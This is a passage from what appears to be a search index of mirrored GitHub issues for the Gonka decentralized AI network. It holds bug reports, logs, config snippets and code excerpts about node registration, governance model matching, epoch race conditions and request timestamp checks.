"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#workaround-current", "title": "✅ Workaround (Current)", "text": "Until fixed, operators can work around this issue:
Query available governance models:
inferenced query inference models-all\nUse EXACT model ID in config:
{\n \"models\": {\n \"Qwen/Qwen2.5-7B-Instruct\": {\"args\": []}\n }\n}\nVerify no similar names exist:
inferenced query inference models-all | grep \"Qwen\"\nSetup: - Server: Hetzner Cloud, Ubuntu 22.04 LTS - Docker: 27.3.1 - Network: gonka-mainnet - Block Height: ~1,304,000 - 1,305,300 - API Version: Latest (from docker-compose.yml)
Governance Models Present:
- Qwen/Qwen2.5-7B-Instruct\n- RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16\n- (others)\nPer Gonka Bounty Program Discord Announcement:
Vulnerability Bounty Program: - Describing an unknown vulnerability: 1,000-5,000 gonka coins - Proposal describing additional improvement: 1,000-5,000 gonka coins
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#this-submission-includes", "title": "This Submission Includes:", "text": "✅ Bug discovery and description ✅ Root cause analysis (prefix vs exact matching) ✅ Proposed solution with code examples ✅ Reproduction steps (100% reproducible) ✅ Impact assessment (affects all similar model names) ✅ Workaround documentation
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#optional-pr", "title": "Optional PR", "text": "Happy to implement Option 1 (Exact Matching) if the team approves this approach! 🚀
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#discovery-timeline", "title": "📊 Discovery Timeline", "text": "Time Event Nov 15, 16:26 Started hardware registration Nov 15, 16:45 Encountered error (wrong model ID) Nov 15, 17:20 Identified root cause (prefix matching) Nov 15, 17:40 Implemented workaround (exact model ID) Nov 15, 18:00 Hardware successfully registered ✅Total debugging time: ~2 hours Workaround difficulty: Medium (requires blockchain query knowledge)
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#additional-notes", "title": "🤝 Additional Notes", "text": "Thank you to the Gonka team for: - Creating the Bounty Program - Maintaining responsive Discord support - Building an open-source decentralized AI network
Looking forward to contributing to improved operator experience! 🚀
Submitted by: @Asplana92 Date: November 15, 2025 Bounty Category: Bug Discovery + Improvement Proposal
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#comments-2", "title": "💬 Comments (2)", "text": "@AlexeySamosadov commented 2026-02-08 14:14 UTCPR created: https://github.com/gonka-ai/gonka/pull/680
Improves error messages for invalid governance models.
@0xgonka commented 2026-04-28 20:48 UTCalready fixed
🔄 Auto-synced from Issue #438 every hour.
"}, {"location": "community/issues/00439-stack-traces/", "title": "#439 — Stack traces", "text": "Stack traces #439 Closed @tcharchian opened 2025-11-17 20:00 UTC 0 comments Updated 2026-01-28 22:16 UTClog.trace.zip
fatal error: too many concurrent timer firings🔄 Auto-synced from Issue #439 every hour.
"}, {"location": "community/issues/00440-all-the-old-keys-from-the-cluster-entered-the-new-epoch-even/", "title": "#440 — All the old keys from the cluster entered the new epoch, even though that cluster was deleted", "text": "All the old keys from the cluster entered the new epoch, even though that cluster was deleted #440 Closed @tcharchian opened 2025-11-17 20:12 UTC 0 comments Updated 2026-01-29 05:48 UTCAll the old keys from the cluster entered the new epoch, even though that cluster was deleted about six hours ago. For some reason, they passed the PoC with a small weight, but it still looks like they shouldn’t have appeared there at all.
The cluster was shut down and the warm keys were deleted. fs was completely deleted
🔄 Auto-synced from Issue #440 every hour.
"}, {"location": "community/issues/00447-node-registration-does-not-update-after-migration-api-stuck-/", "title": "#447 — Node Registration Does Not Update After Migration (API stuck using old on-chain config)", "text": "Node Registration Does Not Update After Migration (API stuck using old on-chain config) #447 Open @Asplana92 opened 2025-11-20 03:02 UTC 2 comments Updated 2026-06-11 19:09 UTC🐞 [BUG] Node Registration Cannot Update After Migration (stuck on old on-chain state; diff returns no changes) Summary
After migrating the ML inference server to new infrastructure and switching from an unsupported model (Llama) to a governance-approved one (Qwen2.5-7B-Instruct), the node becomes permanently stuck using outdated on-chain registration data.
Even though node_config.json contains the correct configuration and the API reads it correctly on startup, the API never submits an update transaction, because the diff logic always reports “No differences”, even when the on-chain state is completely different.
This leaves the operator unable to recover or participate in inference, even with fully correct infrastructure.
✅ Expected Behavior
When node_config.json changes (host, port, hardware, models), → API should detect differences. → API should submit an update transaction. → On-chain registration should be updated.
❌ Actual Behavior
API loads correct local config
On-chain data is old and completely mismatched
But diff logic reports: [sync nodes] Hardware diff: NewOrModified:[] Removed:[] [sync nodes] No diff to submit API then continues to use the old host + port, even though they are no longer valid: ERROR: queryNodeStatus → dial tcp OLD_IP:8081 → connection refused Node is stuck in FAILED state across epochs.
📌 Timeline & Reproduction Story
This issue appeared during a normal model migration, following official guidance.
(1) Initial setup (worked, but received 0 assignments)
Model: Meta-Llama-3.1-8B-Instruct
Framework: llama.cpp
Host: old_IP:8081
Hardware: RTX 4090
Registered successfully
Received 0 inference tasks for multiple epochs, so decision was made to switch to a governance model.
(2) Official guidance from Discord
Gonka team advised:
Llama is not governance-supported
Required: models from https://gonka.hyperfusion.io/v1/models
Recommended: use vLLM
Also required: additional disk space
So migration to new hardware was performed.
(3) Infrastructure migration A new server with enough disk space was deployed: Inference server: - GPU: RTX 4090 - Disk: ~90GB - Model: Qwen/Qwen2.5-7B-Instruct - Framework: vLLM - vLLM running on port 8081
Validation: curl http://localhost:8081/v1/models → returns Qwen2.5-7B-Instruct (OK)
(4) node_config.json updated Correct configuration: [{ \"id\": \"node1\", \"host\": \"NEW_IP\", \"inference_port\": 8081, \"poc_port\": 8081, \"models\": { \"Qwen/Qwen2.5-7B-Instruct\": { \"args\": [] }}, \"hardware\": [{ \"type\": \"NVIDIA RTX 4090\", \"count\": 1 }], \"max_concurrent\": 500 }]
(5) API reads config correctly Startup logs: INFO Registered node: Host: NEW_IP InferencePort: 8081 Models: Qwen/Qwen2.5-7B-Instruct Hardware: RTX 4090
(6) BUT the API immediately switches back to old on-chain data ERROR queryNodeStatus dial tcp OLD_IP:8081 → connection refused
(7) On-chain query shows old/corrupted data host: \"inference\" (incorrect) port: \"8080\" (incorrect) models: Qwen3-235B-* (incorrect) hardware: H200 140GB (incorrect) No fields match local config.
(8) Diff logic incorrectly concludes “no changes” [sync nodes] Local nodes: 1 [sync nodes] Chain nodes: 1 [sync nodes] Hardware diff: NewOrModified:[] Removed:[] [sync nodes] No diff to submit
As a result:
No update transaction is sent
Node cannot join inference
Node stays FAILED each epoch
Operator is permanently stuck
🔍 Root Cause (Hypothesis)
The problem seems to be triggered by a combination of:
(e.g. models not in governance list, incorrect hardware type, host=\"inference\")
Fails to detect differences between:
local node_config.json
on-chain corrupted registration
This is likely because the comparison:
ignores certain fields
or normalizes the structures so differently that mismatches become “equal”
or treats missing fields as defaults that match
Even after deleting: rm -rf ~/.dapi and restarting API, the old chain state overwrites config-dump.json.
Result
The operator has no way to force re-registration, even with valid config + valid model.
🧪 Steps to Reproduce (Generalized)
Register a node with a model that was once accepted but is now invalid (e.g. before governance model validation was strict)
Later switch to a different model + different infra:
new host
new port
new model
new hardware specs
Update local config
Restart API
API loads correct local config
API loads outdated on-chain data
API diff logic sees no differences
API never submits update transaction
Node remains stuck in FAILED
🎯 Impact
Node cannot join inference for many epochs
Operator cannot fix the issue manually
Registry becomes permanently stuck in invalid state
Requires team intervention to force removal or re-registration
📝 What would help resolve the issue
Please advise:
(e.g. delete existing hardware-node entry on chain)
The behavior strongly suggests it.
host
ports
hardware type
model list
number of models
missing fields
defaults vs explicit values
These should always trigger a diff.
🙏 Thank you
This report is intended to help improve the reliability of node onboarding and recovery, especially during model migrations.
If additional logs are needed, I can provide:
full API startup logs
vLLM logs
config-dump.json snapshots
raw output of inferenced query inference hardware-nodes-all
"}, {"location": "community/issues/00447-node-registration-does-not-update-after-migration-api-stuck-/#comments-2", "title": "💬 Comments (2)", "text": "@ASLanin commented 2025-11-24 21:21 UTCAs far as I get it the api container's (ghcr.io/product-science/api:0.2.5) main process does not reread or at least do not apply node-config.json after the first time creation of the .dapi/gonka.db query from the db sqlite> SELECT * FROM inference_nodes LIMIT 20; shows first time used data in models_json regardless of node-config.json contents at the last run. May be all other params are WORM in db.
I dug into this from the current main code while looking for the cause, and found two separate layers that together produce the \"stuck registration\" behavior. Sharing in case it helps — I'm a contributor, not a maintainer, so treat the design parts as observations.
Layer 1 — node_config.json is merged only once, by design. ConfigManager.LoadNodeConfig (decentralized-api/apiconfig/config_manager.go) merges node_config.json into the API's local database a single time, gated by a node_config_merged flag stored in that database. After the first run, edits to node_config.json are intentionally ignored (\"Node config already merged. Skipping\"). Runtime node management is expected to go through the admin API instead: POST/PUT/DELETE /admin/v1/nodes (internal/server/admin/server.go). Two practical consequences for your case:
PUT /admin/v1/nodes/{id} with the new host/port/models/hardware updates local state without touching config files.NODE_CONFIG_PATH is set in the API container's environment — if it isn't, the loader logs \"NODE_CONFIG_PATH not set. No additional nodes will be added to config\" and loads nothing. That might explain why wiping ~/.dapi appeared not to help.Layer 2 — host/port changes were never synced to chain, even with correct local state. The 60-second sync loop decides whether to resubmit a node by comparing it to the on-chain record with areHardwareNodesEqual (decentralized-api/broker/broker.go). That comparison covered id, status, hardware, models and version — but not Host or Port, although both are submitted and stored on chain. So a migration that only changes the endpoint (same GPU, same models) was reported as \"no diff\" forever, including after an admin-API update. I've opened #1337 to fix this.
Note that your specific snapshot (on-chain models/hardware completely different from local config, yet \"No diff to submit\") points at layer 1: the broker was still operating on the old local state from the database, so local and chain genuinely matched. With local state corrected via the admin API (or a re-merge), the model/hardware differences should already trigger a submission today; #1337 additionally covers the host/port-only case.
One related limitation while reading the code: InferencePort is not part of the on-chain HardwareNode record at all (only the PoC port is stored), so inference-port-only changes can't be detected by this mechanism regardless.
Whether node_config.json should stay merge-once (vs. re-syncing on restart) is a design question for the maintainers — the operator expectation in this issue suggests it at least deserves clearer documentation.
🔄 Auto-synced from Issue #447 every hour.
"}, {"location": "community/issues/00461-ml-node-model-management-edge-cases/", "title": "#461 — ML node model management edge cases", "text": "ML node model management edge cases #461 Closed @tcharchian opened 2025-12-02 20:12 UTC 1 comment Updated 2026-01-24 02:14 UTC"}, {"location": "community/issues/00461-ml-node-model-management-edge-cases/#context", "title": "Context", "text": "For each mlnode a participant can configure a list of models it supports, it’s done via node management admin API (or via node-config.json, but only on the first run of the api container).
Nodes are reported to the chain as HardwareNode proto’s via MsgSubmitHardwareDiff transactions.
During each PoC chain, assign a model to each participating mlnode; it should be a model that’s both a governance model (on-chain list) and a node-supported model (admin config). In decentralized-api this assigned model is stored in node state: NodeState.EpochModel
We need to make sure model changes are handled correctly:
EpochModel is being served to the end of the epochEpochModel is served even if we restart the api container, meaning that api should fetch EpochModelEpochModel is being served during PoC if a node is allocated to serve inference during PoCQuestions:
Participants can disable their nodes via /admin/v1/nodes/:id/disable endpoint. We need to make sure the behavior is as desired:
The same edge case could happen, it was the only node serving a particular model, and we may need to run validations on it before claimReward
Postponing and closing for now.
🔄 Auto-synced from Issue #461 every hour.
"}, {"location": "community/issues/00463-nodes-always-available/", "title": "#463 — Nodes always available", "text": "Nodes always available #463 Closed @tcharchian opened 2025-12-03 21:19 UTC 0 comments Updated 2026-01-21 19:58 UTCThe defunal \"INFERENCE\" state for MLNode de-facto didn't work. it deployed model, but model was not in epoch state => validation would not go to this node => recovery is not possible
take a look at this commit and test it https://github.com/gonka-ai/gonka/commit/21cb61ee61bace322de67265bcb971016e609cb3
goal: if MLNode is availabe and not in poc => it must be used for inference
🔄 Auto-synced from Issue #463 every hour.
"}, {"location": "community/issues/00464-difficulty-with-poc-defined-by-rtarget/", "title": "#464 — Difficulty with PoC, defined by `RTarget`", "text": "Difficulty with PoC, defined by `RTarget` #464 Closed @tcharchian opened 2025-12-03 21:23 UTC 0 comments Updated 2026-01-15 22:20 UTCThere is a difficulty with PoC, defined by RTarget in the repo. It essentially defines the percentage of \"correct\" nonces from all nonces => how many nonces participants has to check to find the correct one.
Let's say we: - increase complexity - add coefficient which transforn new weight to ~old weight (just to maintain same numbers in dashboard)
Please figure out how we're doing that. The open question - how we check which nodes were preserved, which are not, and which we preserved for > 1 epochs => to understand which weight to transform and which not
There is some simple and elegant solution for that, e.g., use this coefficient at transforming len(nonces) -> weight => already transformed weight will be recorded in further preserved nodes
🔄 Auto-synced from Issue #464 every hour.
"}, {"location": "community/issues/00465-add-a-transaction-for-deleting-the-governance-model-it-needs/", "title": "#465 — Add a transaction for deleting the governance model. It needs to be added and verified to ensure it does not affect operations in the current epoch", "text": "Add a transaction for deleting the governance model. It needs to be added and verified to ensure it does not affect operations in the current epoch #465 Closed @tcharchian opened 2025-12-03 22:40 UTC 1 comment Updated 2026-03-12 23:39 UTC enhancement Priority: LowThis task is up for grabs. It could potentially be implemented for a minimal bounty, subject to governance approval. @DimaOrekhovPS is ready to answer questions
"}, {"location": "community/issues/00465-add-a-transaction-for-deleting-the-governance-model-it-needs/#comments-1", "title": "💬 Comments (1)", "text": "@x0152 commented 2026-02-18 07:19 UTCReady to take
🔄 Auto-synced from Issue #465 every hour.
"}, {"location": "community/issues/00466-stop-rewriting-static-config-at-each-app-start/", "title": "#466 — Stop rewriting static config at each app start", "text": "Stop rewriting static config at each app start #466 Closed @tcharchian opened 2025-12-03 22:47 UTC 2 comments Updated 2026-02-06 18:19 UTC(empty)
"}, {"location": "community/issues/00466-stop-rewriting-static-config-at-each-app-start/#comments-2", "title": "💬 Comments (2)", "text": "@tcharchian commented 2026-02-04 23:36 UTCThe PR looks good and all the requested changes were made. @DimaOrekhovPS will be merging it once it passes integration tests.
@DimaOrekhovPS commented 2026-02-06 18:19 UTChttps://github.com/gonka-ai/gonka/pull/644
🔄 Auto-synced from Issue #466 every hour.
"}, {"location": "community/issues/00467-unit-tests-for-making-sure-node-version-is-always-a-part-of-/", "title": "#467 — Unit tests for making sure node version is always a part of endpoint and it's updated when version changes on chain", "text": "Unit tests for making sure node version is always a part of endpoint and it's updated when version changes on chain #467 Closed @tcharchian opened 2025-12-03 22:52 UTC 2 comments Updated 2026-02-07 00:40 UTC up-for-grabsThis is a future task. A detailed description will be provided in the near future.
Please do not start working on this task without the detailed specification, as it may turn out to be a different direction than expected, which could reduce the chances of receiving a reward.
If you are interested in completing this task, please leave a comment here. After that, feel free to contact me on Discord: tatianacharchian_07833.
Task is open for contribution and @DimaOrekhovPS can help if any questions arise
@AlexeySamosadov commented 2026-01-24 21:05 UTCAdded unit tests in PR #640 - covers SetCurrentNodeVersion, ShouldRefreshClients, SyncVersionFromChain, and version update triggering client refresh.
🔄 Auto-synced from Issue #467 every hour.
"}, {"location": "community/issues/00468-p1-certik-finalization/", "title": "#468 — [P1] Certik (finalization)", "text": "[P1] Certik (finalization) #468 Closed @tcharchian opened 2025-12-03 23:32 UTC 0 comments Updated 2026-04-10 04:51 UTC🔄 Auto-synced from Issue #468 every hour.
"}, {"location": "community/issues/00468-p1-certik-finalization/#p1-consensus-audit", "title": "[P1] Consensus audit", "text": "Issues that would be resolved by deleting unused training code: - [x] GOI-16 @patimen https://github.com/gonka-ai/gonka/pull/1009 - [x] GOI-3 @patimen https://github.com/gonka-ai/gonka/pull/1009 - [x] GOI-25 @patimen https://github.com/gonka-ai/gonka/pull/1009 - [x] GOI-28 @patimen https://github.com/gonka-ai/gonka/pull/1009 - [x] GOI-23 @gmorgachev - [x] GOI-21 @patimen https://github.com/gonka-ai/gonka/pull/1009 , @patimen needs to add a check for seed signature, duplicated in a GOC task - [x] GOI-26 @patimen https://github.com/gonka-ai/gonka/pull/1011 - [x] GOI-27 @patimen https://github.com/gonka-ai/gonka/pull/1009
"}, {"location": "community/issues/00470-move-payload-off-chain/", "title": "#470 — Move payload off chain", "text": "Move payload off chain #470 Closed @tcharchian opened 2025-12-04 20:08 UTC 1 comment Updated 2026-01-15 23:59 UTC(empty)
"}, {"location": "community/issues/00470-move-payload-off-chain/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-01-15 23:59 UTChttps://github.com/gonka-ai/gonka/pull/472
🔄 Auto-synced from Issue #470 every hour.
"}, {"location": "community/issues/00491-race-condition-in-epoch-initialization-causes-random-node-ex/", "title": "#491 — Race Condition in Epoch Initialization Causes Random Node Exclusion", "text": "Race Condition in Epoch Initialization Causes Random Node Exclusion #491 Closed @baychak opened 2025-12-13 17:25 UTC 0 comments Updated 2025-12-15 01:18 UTC🔄 Auto-synced from Issue #491 every hour.
"}, {"location": "community/issues/00491-race-condition-in-epoch-initialization-causes-random-node-ex/#bug-report-race-condition-in-epoch-initialization", "title": "Bug Report: Race Condition in Epoch Initialization", "text": "Date: December 13, 2025 Severity: High - Causes node exclusion from epoch Affected Version: v0.2.5 Node: gonka1yq4vwn7fc9x7lykjhc0x3e7r2atee32czy34mt
"}, {"location": "community/issues/00491-race-condition-in-epoch-initialization-causes-random-node-ex/#problem", "title": "Problem", "text": "API queries EpochGroupData before blockchain finishes processing member additions, receives empty SubGroupModels array, triggers early return in broker.go:1323, node excluded from epoch.
Timeline with millisecond precision:
11:37:39.000 UTC - Block 1,704,365: Epoch 110 starts\n11:37:39.256 UTC - API queries GetEpochGroupData(110, \"\")\n11:37:39.256 UTC - Response: SubGroupModels = [] (empty)\n11:37:39.256 UTC - Log: \"WARN broker/broker.go:1323 Parent epoch group SubGroupModels are empty\"\n11:37:39.256 UTC - Early return - node excluded\n~11:37:39.XXX UTC - Blockchain finishes AddMember() processing\n16:30:00.000 UTC - Manual query executed (5 hours later)\n16:30:00.XXX UTC - Response: SubGroupModels = [\"Qwen/Qwen3-32B-FP8\", ...] (5 models)\nProof of race condition: - Empty query: 11:37:39.256Z shows SubGroupModels = [] - Populated query: 16:30:00Z shows SubGroupModels with 5 models including user's - Conclusion: Data written correctly but API queried before blockchain completion
Log evidence:
2025-12-13T11:37:39.256Z WARN broker/broker.go:1323 Parent epoch group SubGroupModels are empty\nWhy it repeated 4 times:
UpdateNodeWithEpochData() вызывается на каждой фазе эпохи: 1. 11:37:39 - PoCGenerate (race condition - запрос слишком рано) 2. 11:38:32 - PoCValidate (нода уже исключена, снова пусто) 3. 11:39:25 - PoCAggregate (нода уже исключена, снова пусто) 4. 11:40:18 - PoCReward (нода уже исключена, снова пусто)
File: decentralized-api/broker/broker.go lines 1323-1325
if len(epochGroupData.SubGroupModels) == 0 {\n log.Warn().Msg(\"Parent epoch group SubGroupModels are empty\")\n return nil // ← No retry, immediate exit\n}\nIssue: No retry mechanism when blockchain hasn't finished writing data yet.
"}, {"location": "community/issues/00491-race-condition-in-epoch-initialization-causes-random-node-ex/#impact", "title": "Impact", "text": "Node: gonka1yq4vwn7fc9x7lykjhc0x3e7r2atee32czy34mt Version: v0.2.5
"}, {"location": "community/issues/00498-unable-to-start-baecon-node/", "title": "#498 — Unable to start baecon node", "text": "Unable to start baecon node #498 Closed @Knoxpix opened 2025-12-19 08:41 UTC 1 comment Updated 2026-01-22 00:12 UTCFrom this raw log. I need assist how to fix this issue. Or can i change checkpoint origin state and block to other?
bridge | Stopping Prysm log formatter (PID: 82343) bridge | bridge | GETH: INFO [12-19|08:28:53.728] New local node record seq=1,765,953,858,893 id=a29a8022f2c83caa ip=203.156.3.38 udp=38205 tcp=30303 bridge | Restarting processes due to crash... bridge | Restarting both processes... bridge | Stopping Geth (PID: 82111) bridge | tail: /var/log/geth/geth.log: file truncated bridge | Starting Geth... bridge | GETH: WARN [12-19|08:28:55.180] Unknown config environment variable envvar=GETH_DATA_DIR bridge | GETH: INFO [12-19|08:28:55.193] Starting Geth on Ethereum mainnet... bridge | GETH: INFO [12-19|08:28:55.194] Bumping default cache on mainnet provided=1024 updated=4096 bridge | GETH: INFO [12-19|08:28:55.197] Maximum peer count ETH=50 total=50 bridge | GETH: INFO [12-19|08:28:55.198] Smartcard socket not found, disabling err=\"stat /run/pcscd/pcscd.comm: no such file or directory\" bridge | GETH: Fatal: Failed to create the protocol stack: datadir already used by another process bridge | Geth failed to stay alive after start (PID: 82797) bridge | Geth restart failed; will retry in monitor loop bridge | Geth process (PID: 82797) died bridge | Prysm process (PID: 82341) exited with status 127 bridge | --- Last 100 lines of Prysm raw log --- bridge | PRSM: time=\"2025-12-19 08:28:46.18\" level=info msg=\"Finished reading JWT secret from /data/jwt/jwt.hex\" prefix=execution bridge | PRSM: time=\"2025-12-19 08:28:46.18\" level=info msg=\"Using checkpoint sync url https://beaconstate.ethstaker.cc/ for value in --genesis-beacon-api-url flag\" bridge | PRSM: time=\"2025-12-19 08:28:46.19\" level=info msg=\"Running on Ethereum Mainnet\" prefix=flags bridge | PRSM: time=\"2025-12-19 08:28:46.19\" level=warning msg=\"In order to receive transaction fees from proposing blocks, you must provide flag --suggested-fee-recipient with a valid ethereum address when starting your beacon node. Please see our documentation for more information on this requirement (https://docs.prylabs.network/docs/execution-node/fee-recipient).\" prefix=node bridge | PRSM: time=\"2025-12-19 08:28:46.19\" level=info msg=\"Checking DB\" databasePath=\"/data/prysm/beaconchaindata\" prefix=node bridge | PRSM: time=\"2025-12-19 08:28:46.19\" level=info msg=\"Opening Bolt DB\" path=\"/data/prysm/beaconchaindata/beaconchain.db\" prefix=db bridge | PRSM: time=\"2025-12-19 08:28:46.20\" level=warning msg=\"Removing database\" prefix=node bridge | PRSM: time=\"2025-12-19 08:28:46.20\" level=info msg=\"Opening Bolt DB\" path=\"/data/prysm/beaconchaindata/beaconchain.db\" prefix=db bridge | PRSM: time=\"2025-12-19 08:28:46.21\" level=info msg=\"Setting genesis validators root\" genesis_validators_root=0x4b363db94e286120d76eb905340fdd4e54bfe9f06bf33ff6cf5ad27f511bfe95 bridge | PRSM: time=\"2025-12-19 08:28:46.21\" level=warning msg=\"Removing blob storage\" prefix=node bridge | PRSM: time=\"2025-12-19 08:28:46.21\" level=warning msg=\"Removing data columns storage\" prefix=node bridge | PRSM: time=\"2025-12-19 08:28:46.32\" level=info msg=\"Checkpoint sync - Downloading origin state and block\" prefix=node bridge | PRSM: time=\"2025-12-19 08:28:47.15\" level=fatal msg=\"unable to start beacon node: could not start modules: could not start DB: Error retrieving checkpoint origin state and block: error requesting state by id = finalized: code=502, url=https://beaconstate.ethstaker.cc/eth/v2/debug/beacon/states/finalized, body=response body: bridge | PRSM: <html> bridge | PRSM: <head><title>502 Bad Gateway</title></head> bridge | PRSM: <body> bridge | PRSM: <center><h1>502 Bad Gateway</h1></center> bridge | PRSM: <hr><center>nginx/1.28.0</center> bridge | PRSM: </body> bridge | PRSM: </html> bridge | PRSM: : did not receive 2xx response from API\" prefix=main bridge | --- End Prysm raw log excerpt --- bridge | Restarting processes due to crash... bridge | Restarting both processes... bridge | Starting Geth... bridge | tail: /var/log/geth/geth.log: file truncated
Hi @Knoxpix! Thank you for reaching out. Please note that technical support is not provided here. For assistance, we kindly recommend asking for help in Gonka Discord community, where community members may be able to support you.
🔄 Auto-synced from Issue #498 every hour.
"}, {"location": "community/issues/00499-chat-completions-arent-working/", "title": "#499 — Chat Completions aren't working", "text": "Chat Completions aren't working #499 Closed @pentoxine opened 2025-12-20 02:05 UTC 1 comment Updated 2026-02-10 04:04 UTCbase_url: http://192.241.240.19:8000/v1\nRequest signing is enabled through a custom HTTP client implementation.\nUsing Gonka address: gonka1twg5lhad6sc86yjqspanmp94md2dx0fhfppxus\nINFO:httpx:HTTP Request: POST http://192.241.240.19:8000/v1/chat/completions \"HTTP/1.1 500 Internal Server Error\"\nINFO:openai._base_client:Retrying request to /chat/completions in 0.400175 seconds\nINFO:httpx:HTTP Request: POST http://192.241.240.19:8000/v1/chat/completions \"HTTP/1.1 500 Internal Server Error\"\nINFO:openai._base_client:Retrying request to /chat/completions in 0.879420 seconds\nINFO:httpx:HTTP Request: POST http://192.241.240.19:8000/v1/chat/completions \"HTTP/1.1 500 Internal Server Error\"\nTraceback (most recent call last):\n File \"/Users/bob/git/gonka/script.py\", line 9, in <module>\n response = client.chat.completions.create(\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/Users/bob/git/gonka/.venv/lib/python3.12/site-packages/openai/_utils/_utils.py\", line 286, in wrapper\n return func(*args, **kwargs)\n ^^^^^^^^^^^^^^^^^^^^^\n File \"/Users/bob/git/gonka/.venv/lib/python3.12/site-packages/openai/resources/chat/completions/completions.py\", line 1192, in create\n return self._post(\n ^^^^^^^^^^^\n File \"/Users/bob/git/gonka/.venv/lib/python3.12/site-packages/openai/_base_client.py\", line 1259, in post\n return cast(ResponseT, self.request(cast_to, opts, stream=stream, stream_cls=stream_cls))\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/Users/bob/git/gonka/.venv/lib/python3.12/site-packages/openai/_base_client.py\", line 1047, in request\n raise self._make_status_error_from_response(err.response) from None\nopenai.InternalServerError: Error code: 500 - {'error': 'rpc error: code = Unknown desc = runtime error: invalid memory address or nil pointer dereference: panic'}\nscript
import os\nfrom gonka_openai import GonkaOpenAI\n\nclient = GonkaOpenAI(\n gonka_private_key=os.environ.get('GONKA_PRIVATE_KEY'),\n source_url=\"http://node3.gonka.ai:8000\",\n)\n\nresponse = client.chat.completions.create(\n model=\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n messages=[\n { \"role\": \"user\", \"content\": \"Write a one-sentence bedtime story about a unicorn\" }\n ]\n)\n\nprint(response.choices[0].message.content)\nhi @pentoxine,I'd like to propose this for a bounty for reporting the issue. can you please reach out to me in discord @mtvnastya or let me know how I can contact you directly?
🔄 Auto-synced from Issue #499 every hour.
"}, {"location": "community/issues/00511-bug-in-claim-recovery/", "title": "#511 — Bug in claim recovery", "text": "Bug in claim recovery #511 Closed @tcharchian opened 2025-12-26 21:55 UTC 0 comments Updated 2026-01-15 21:44 UTC(empty)
🔄 Auto-synced from Issue #511 every hour.
"}, {"location": "community/issues/00518-request-timestamp-is-in-the-future-leads-to-missed-inference/", "title": "00518 request timestamp is in the future leads to missed inference", "text": "title: \"#518 — \"Request timestamp is in the future\" leads to missed inferences for hosts\" source: https://github.com/gonka-ai/gonka/issues/518 issue_number: 518 synced_at: 2026-07-26T07:08:37Z template: issues-main.html
\"Request timestamp is in the future\" leads to missed inferences for hosts #518 Closed @akup opened 2026-01-02 06:22 UTC 3 comments Updated 2026-01-20 17:55 UTC"}, {"location": "community/issues/00518-request-timestamp-is-in-the-future-leads-to-missed-inference/#problem", "title": "Problem", "text": "On load healthy nodes are missing inferences that could be served, that leads to striking the hosts.
"}, {"location": "community/issues/00518-request-timestamp-is-in-the-future-leads-to-missed-inference/#what-cause-the-problem", "title": "What cause the problem", "text": "Sometime network is overloaded and up to 1/3 of network-nodes could be behind latest block that already reached the consensus. As blocks can be build on load in more then 30 seconds, it leads, that even being behind to one block for host means it is behind more then 30 seconds from the latest consensus block. It leads, that inference requests could be in the future relative to host network node, that is behind, but it still is functional and can serve inferences. At decentalized-api at post-chat-handler.go there is a check before node starts processing inference:
if requestOffset < -timestampAdvanceNs {\n logging.Warn(\"Request timestamp is in the future\", types.Inferences,\n \"inferenceId\", request.InferenceId,\n \"offset\", time.Duration(requestOffset).String())\n return echo.NewHTTPError(http.StatusBadRequest, \"Request timestamp is in the future\")\n}\nMeanwhile at inference-chain it is ok to accept inference finish requests during 1 hour. From the inference-chain, msg_server_finish_inference.go at verifyFinishKeys function:
// Extra seconds for long-running inferences; deduping via inferenceId is primary replay defense\nif err := k.validateTimestamp(ctx, devComponents, msg.InferenceId, 60*60); err != nil {\n return err\n}\nit gives 1 hour to send inference finish message, so it can be served in this 1 hour, while timestamp_advance is set to 30 seconds.
If api node removes check for 'timestamp is in the future' it will be serving inference and they are accepted by protocol.
"}, {"location": "community/issues/00518-request-timestamp-is-in-the-future-leads-to-missed-inference/#why-we-need-the-request-in-the-future-check", "title": "Why we need the request in the future check?", "text": "From the side of the chain that tries to reach consensus checking if timestamp is in the future is a kind of protection.
But from the api component it just means that it is syncing with node that is behind consensus. Checking against expired requests can help node to do not serve inferences that will not be accepted by network. But it is not in sync with code at node that adds 1 hour for request expiration.
Checking against request in the future gives nothing to api component, and should be checked against real local machine time.
"}, {"location": "community/issues/00518-request-timestamp-is-in-the-future-leads-to-missed-inference/#solution", "title": "Solution", "text": "We can check against local machine time at api node, or just add extra seconds, like it is done at chain. We can add less extra-seconds then 1 hour as the check is done before inference, and we need to keep some time for serving inference.
And this change is not affecting protocol, but only decentralized-api
"}, {"location": "community/issues/00518-request-timestamp-is-in-the-future-leads-to-missed-inference/#remarks", "title": "Remarks", "text": "1 hour for inference serve seams to be very much and is unreliable from the user side.
"}, {"location": "community/issues/00518-request-timestamp-is-in-the-future-leads-to-missed-inference/#extra-proposal-for-discussion", "title": "Extra proposal for discussion", "text": "p.s.: It seams it could be good for decentralized-api to sync to other seed nodes, when node block time is behind local machine time more then 1 minute. This will lead that if it send PoCs to other node it will loose the voting power per the epoch, but it will generally increase network stability. The problem of being behind the consensus block is unknown, and it was seen, that restarting the node docker container, makes the node to catch new blocks faster and reach the latest block, so it's not the hardware issue.
"}, {"location": "community/issues/00518-request-timestamp-is-in-the-future-leads-to-missed-inference/#comments-3", "title": "💬 Comments (3)", "text": "@akup commented 2026-01-02 06:35 UTCAlso use of hardcoded value 60*60 at node level is VERY BAD. And it could be fixed by parameters. Moreover it even doesn't need extra parameters, and can use timestampExpirationNs and timestampAdvanceNs that are regulated by the voting.
+1, same issue. Node falls behind during PoC, missing inferences. This fix would help.
@akup commented 2026-01-14 12:27 UTCIt is fixed by this PR: https://github.com/gonka-ai/gonka/pull/549
🔄 Auto-synced from Issue #518 every hour.
